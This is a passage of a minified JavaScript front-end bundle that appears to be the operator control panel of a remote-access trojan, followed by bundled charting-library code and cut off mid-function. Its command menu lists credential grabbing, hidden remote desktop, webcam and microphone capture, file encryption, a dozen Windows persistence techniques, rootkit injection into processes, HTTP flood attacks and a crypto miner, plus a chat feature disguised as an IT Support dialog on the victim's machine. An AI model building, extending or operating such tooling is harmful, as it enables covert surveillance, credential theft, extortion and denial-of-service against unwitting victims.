24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},dA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),fA=new Set(["remove","exit","uninstall","shutdown"]),mA=new Set(["ban"]),im=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],pA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},hA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},xA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},vA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),k=m.useRef(null),z=s==="dead",S=x.trim()?im.map(R=>({...R,commands:R.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:im.find(M=>M.label===R.label).commands})):im;m.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),M=window.innerWidth,W=window.innerHeight;let $=e,U=t;e+R.width>M&&($=M-R.width-8),t+R.height>W&&(U=W-R.height-8),h({x:Math.max(4,$),y:Math.max(4,U)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),m.useEffect(()=>{if(!n)return;const R=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),m.useEffect(()=>()=>{k.current&&clearTimeout(k.current)},[]);const A=m.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const M=R.getBoundingClientRect(),W=window.innerHeight;if(M.bottom>W-8){const $=M.bottom-W+8;R.style.top=`${-$}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(A)},[d,A]),m.useEffect(()=>{if(!n)return;const R=M=>{var $;const W=S;if(W.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const U=W.find(B=>B.label===d);U&&w(B=>B{const B=UB.label===d);U&&w(B=>B>0?B-1:U.commands.length-1)}else v(U=>{const B=U>0?U-1:W.length-1;return f(W[B].label),B});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const U=W.find(B=>B.label===d);U&&b>=0&&bdocument.removeEventListener("keydown",R)},[n,S,d,j,y,b,i]),!n)return null;const _=(R,M)=>{k.current&&clearTimeout(k.current),k.current=setTimeout(()=>{f(R),v(M),N(!1),w(-1)},60)},O=()=>{k.current&&clearTimeout(k.current)},P=R=>{z&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},D=p.x+200+220>window.innerWidth,V=R=>R===0?!1:S[R].group!==S[R-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${pA[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${xA[s]}`,children:hA[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),S.map((R,M)=>a.jsxs(Ah.Fragment,{children:[V(M)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>_(R.label,M),onMouseLeave:O,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===M?z?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":z?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===R.label||y===M?z?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${D?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((W,$)=>{const U=z&&W.nav.action!=="remove"&&W.nav.action!=="ban",B=fA.has(W.key)||W.nav.action==="remove",K=mA.has(W.key)||W.nav.action==="ban",Z=dA.has(W.key),le=j&&b===$;return a.jsxs("button",{onClick:()=>P(W),disabled:U,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${B?le?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":K?le?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":U?"cursor-not-allowed text-zerin-text-muted":le?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:W.label}),Z&&!U&&sn.externalLink]},W.key)})]})]})]},R.label))]})]})})};function M5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(vd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:gA(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function gA(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const yA=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function L5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=zA(e,kA),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Mp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),CA=["children","className"];function Lp(){return Lp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=PA(e,CA),s=Qe("recharts-layer",r);return m.createElement("g",Lp({className:s},Ut(i),{ref:t}),n)}),_A=m.createContext(null);function $e(e){return function(){return e}}const $5=Math.cos,eu=Math.sin,Qn=Math.sqrt,tu=Math.PI,gd=2*tu,Ip=Math.PI,Dp=2*Ip,Fi=1e-6,AA=Dp-Fi;function B5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return B5;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;iFi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Ip-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Dp+Dp),p>AA?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Ip)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ax(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new TA(t)}function Ox(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function F5(e){this._context=e}F5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function yd(e){return new F5(e)}function W5(e){return e[0]}function U5(e){return e[1]}function V5(e,t){var n=$e(!0),r=null,i=yd,s=null,o=Ax(l);e=typeof e=="function"?e:e===void 0?W5:$e(e),t=typeof t=="function"?t:t===void 0?U5:$e(t);function l(c){var u,d=(c=Ox(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return V5().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class H5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function MA(e){return new H5(e,!0)}function LA(e){return new H5(e,!1)}const Tx={draw(e,t){const n=Qn(t/tu);e.moveTo(n,0),e.arc(0,0,n,0,gd)}},IA={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},K5=Qn(1/3),DA=K5*2,RA={draw(e,t){const n=Qn(t/DA),r=n*K5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},$A={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},BA=.8908130915292852,Y5=eu(tu/10)/eu(7*tu/10),FA=eu(gd/10)*Y5,WA=-$5(gd/10)*Y5,UA={draw(e,t){const n=Qn(t*BA),r=FA*n,i=WA*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const o=gd*s/5,l=$5(o),c=eu(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},am=Qn(3),VA={draw(e,t){const n=-Qn(t/(am*3));e.moveTo(0,n*2),e.lineTo(-am*n,-n),e.lineTo(am*n,-n),e.closePath()}},bn=-.5,wn=Qn(3)/2,Rp=1/Qn(12),HA=(Rp/2+1)*3,KA={draw(e,t){const n=Qn(t/HA),r=n/2,i=n*Rp,s=r,o=n*Rp+n,l=-s,c=o;e.moveTo(r,i),e.lineTo(s,o),e.lineTo(l,c),e.lineTo(bn*r-wn*i,wn*r+bn*i),e.lineTo(bn*s-wn*o,wn*s+bn*o),e.lineTo(bn*l-wn*c,wn*l+bn*c),e.lineTo(bn*r+wn*i,bn*i-wn*r),e.lineTo(bn*s+wn*o,bn*o-wn*s),e.lineTo(bn*l+wn*c,bn*c-wn*l),e.closePath()}};function YA(e,t){let n=null,r=Ax(i);e=typeof e=="function"?e:$e(e||Tx),t=typeof t=="function"?t:$e(t===void 0?64:+t);function i(){let s;if(n||(n=s=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),s)return n=null,s+""||null}return i.type=function(s){return arguments.length?(e=typeof s=="function"?s:$e(s),i):e},i.size=function(s){return arguments.length?(t=typeof s=="function"?s:$e(+s),i):t},i.context=function(s){return arguments.length?(n=s??null,i):n},i}function nu(){}function ru(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function 